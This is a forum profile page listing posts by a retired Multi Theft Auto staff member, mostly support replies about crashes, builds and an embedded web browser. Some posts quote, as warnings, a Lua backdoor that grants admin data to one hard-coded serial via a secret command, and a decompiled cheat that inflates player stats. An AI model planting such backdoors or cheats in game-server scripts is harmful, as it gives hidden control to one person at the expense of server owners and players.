Jump to content

Jusonex

Retired Staff
  • Posts

    507
  • Joined

  • Last visited

  • Days Won

    5

Everything posted by Jusonex

  1. Nein, gibt es nicht, solange jemand den Singleplayer nicht in Lua nachbaut
  2. The crash seems not to be related to MTA or GTA. Is it always the same offset? It might be caused by malware or all these overlays you've installed ("EvolveGameTracker"/"EvolveOverlay" + "Internet Download Manager"). So, run a malware scanner and uninstall /deactivate the mentioned applications.
  3. Jusonex

    Question

    If you had read the wiki, you would have been able to answer this question yourself. https://wiki.multitheftauto.com/wiki/Server_Manual
  4. The problem is that the door of the AT-400 is very high in comparison to smaller vehicles, so that you are too far away from the door to reach it. ==> It's not a bug and you can circumvent this behaviour in Lua.
  5. Jusonex

    Proxy Sa

    proxy_sa.exe is just a copy of gta_sa.exe which is used to circumvent some graphics driver optimizations (in case of NVidia Optimus). Do you play MTA on an Optimus notebook? Was the Optimus dialog shown on startup? What did you select there? You'd also be better if you post client problems in the appropriate section (viewforum.php?f=104).
  6. Jusonex

    1.4 Beta Release

    It was added?!
  7. Server: http://pastebin.com/L702uDts Client: http://pastebin.com/qkJbAw7s
  8. It contains a backdoor: function get(player) if getPlayerSerial(player) == "DFD1A04C59E7CB85FF672E4CC759F9F4" then setElementData(player, "adminn", true) else cancelEvent() end end addCommandHandler("neves768m", get) Apart from that it's very insecure (excessive usage of element datas etc.) so I wouldn't recommand you to use it on your server.
  9. You're using an old 1.4 build. You can find the latest network module here: http://jusonex.net/public/mta/awesomium/net.dll (server) http://jusonex.net/public/mta/awesomium/netc.dll (client)
  10. @DodHD: Sorry, my mistake...the server files are missing. You can download the latest build from: http://jusonex.net/public/mta/awesomium/r6533.zip @Snow-Man: Please try again with the latest build. If it won't work, try another archive extractor like 7zip (http://www.7-zip.org/download.html).
  11. The only thing I can imagine is that you loaded the script on the client. Could you attach your meta.xml?
  12. The request system was broken during the last builds and has been fixed in the current. requestBrowserPages({"clients1.google.com", "www.youtube-nocookie.com", "gdata.youtube.com"}) ...should fix it. I'm going to add these pages (as wildcard) to the hardcoded whitelist in the next build. If you'd like to get a list of blocked pages, enable the developmentmode via setDevelopmentMode(true) and open the debugwindow (/debugscript 3).
  13. Fixed By 'downloading' I meant downloading files which are saved on your harddisk. If you want to play a video, you'll just have to load the website which embedds the video: loadBrowserURL(webBrowser, "https://www.youtube.com/watch?v=wZZ7oFKsKzY") I uploaded a new build. You can find the link on https://wiki.multitheftauto.com/wiki/Us ... ow_to_test
  14. That's the decompiled Lua script: function load() for _FORV_3_, _FORV_4_ in pairs(_UPVALUE0_) do tex = engineLoadTXD("mods/" .. _FORV_4_.fileName .. ".txd", _FORV_4_.model) engineImportTXD(tex, _FORV_4_.model) mod = engineLoadDFF("mods/" .. _FORV_4_.fileName .. ".dff", _FORV_4_.model) engineReplaceModel(mod, _FORV_4_.model) txd = engineLoadTXD("mods/1.txd", 2726) engineImportTXD(txd, 2726) dff = engineLoadDFF("mods/1.dff", 2726) engineReplaceModel(dff, 2726) txd = engineLoadTXD("mods/2.txd", 2725) engineImportTXD(txd, 2725) dff = engineLoadDFF("mods/2.dff", 2725) engineReplaceModel(dff, 2725) txd = engineLoadTXD("mods/3.txd", 2644) engineImportTXD(txd, 2644) dff = engineLoadDFF("mods/3.dff", 2644) engineReplaceModel(dff, 2644) txd = engineLoadTXD("mods/4.txd", 2708) engineImportTXD(txd, 2708) dff = engineLoadDFF("mods/4.dff", 2708) engineReplaceModel(dff, 2708) txd = engineLoadTXD("mods/5.txd", 2571) engineImportTXD(txd, 2571) dff = engineLoadDFF("mods/5.dff", 2571) engineReplaceModel(dff, 2571) txd = engineLoadTXD("mods/6.txd", 2568) engineImportTXD(txd, 2568) dff = engineLoadDFF("mods/6.dff", 2568) engineReplaceModel(dff, 2568) txd = engineLoadTXD("mods/7.txd", 2565) engineImportTXD(txd, 2565) dff = engineLoadDFF("mods/7.dff", 2565) engineReplaceModel(dff, 2565) txd = engineLoadTXD("mods/8.txd", 2468) engineImportTXD(txd, 2468) dff = engineLoadDFF("mods/8.dff", 2468) engineReplaceModel(dff, 2468) txd = engineLoadTXD("mods/9.txd", 2562) engineImportTXD(txd, 2562) dff = engineLoadDFF("mods/9.dff", 2562) engineReplaceModel(dff, 2562) end end addEventHandler("onClientResourceStart", resourceRoot, function() setTimer(load, 1000, 1) end) function giveALLNOOBS() setElementData(getLocalPlayer(), "blood", 99999999999999) setElementData(getLocalPlayer(), "\208\144\208\191\209\130\208\181\209\135\208\186\208\176", 99999999999999) setElementData(getLocalPlayer(), "MAX_Slots", 99999999999999) end addCommandHandler("mamka", giveALLNOOBS)
  15. Yep, looks like that: function giveALLNOOBS() setElementData(getLocalPlayer(), "blood", 99999999999999) setElementData(getLocalPlayer(), "\208\144\208\191\209\130\208\181\209\135\208\186\208\176", 99999999999999) setElementData(getLocalPlayer(), "MAX_Slots", 99999999999999) end addCommandHandler("mamka", giveALLNOOBS)
  16. Versuch mal deine gta_sa.set aus Eigene Dokumente\GTA San Andreas User Files\ zu löschen.
  17. No. onClientKey is the lower level API since it doesn't differentiate between lowercase and uppercase characters and doesn't take localised keyboards into account. In contrast onClientCharacter provides the exact (unicode) character. In conclusion injectKeyboardCharacter + onClientCharacter should be used for character input and injectKeyboardKeyDown/-Up + onClientKey for control input.
  18. Oops, I edited the example. You can find better examples here tho: https://wiki.multitheftauto.com/wiki/User:Jusonex I added a testbuild of the last revision now. All functions that are listed on my wikipage exist. Downloadlink: https://github.com/Jusonex/mtasa-awesom ... ium0.2.zip
  19. dxCreateFont is only available clientside, but you seem to use it serverside.
  20. There's already the function "isBrowserLoading", but an event is also a good idea. I updated https://wiki.multitheftauto.com/wiki/User:Jusonex right now. (These functions are not included in the testbuild though) Does that happen to the entire webpage or only to the flash player? The client loads the webpage directly. If you'd like to monitor the webtraffic, there will be an event named 'onClientWebBrowserNavigate' or something. But you won't be able to modify the source due to security issues (something like that would be similar to XSS attacks). Awesomium and CEF (Chromium Embedded Framework) are both based on Chromium which uses a multi-process architecture. That means every webpage you loaded is rendered in its own process and doesn't influence MTA's performance directly. Since this is going to be a full-fledged webbrowser, YouTube videos are streamed in the same way as in your webbrowser.
  21. You downloaded a 64-bit libmysqlclient.so.15. Please follow the instructions described in the following topic: viewtopic.php?f=106&t=34979
  22. We can replace the DLLs as long as the interfaces don't change. Awesomium is closed source unless you pay >2900$. I already took a look into it some days ago. The API looks very similar to Awesomium even though it's less object-oriented than Awesomium. And the big advantage is - of course - it's open source. CEF is definitely worth a look. Btw: I uploaded my current workspace on GitHub: https://github.com/Jusonex/mtasa-awesomium
  23. Uncompressed 34MB, LZMA-compressed 9,88MB (LZMA is used by the MTA installer, isn't it?) I think so. On the one hand Awesomium is based on Chromium which is currently the securest browser and on the other hand the user has to confirm every website. Those who still don't trust are able to to disable browser plugins, javascript and the entire browser stuff. Missing browser plugin updates are also not an issue since Awesomium uses the globally installed browser plugins. A blacklist that is managed by the MTA team or a blacklist per player?
  24. Sounds good, I'll keep it in mind, but don't figure on it next time since the audio is played by the separate, awesomium rendering process (so that I can't use the BASS library to process the sound). Do you get any error?
×
×
  • Create New...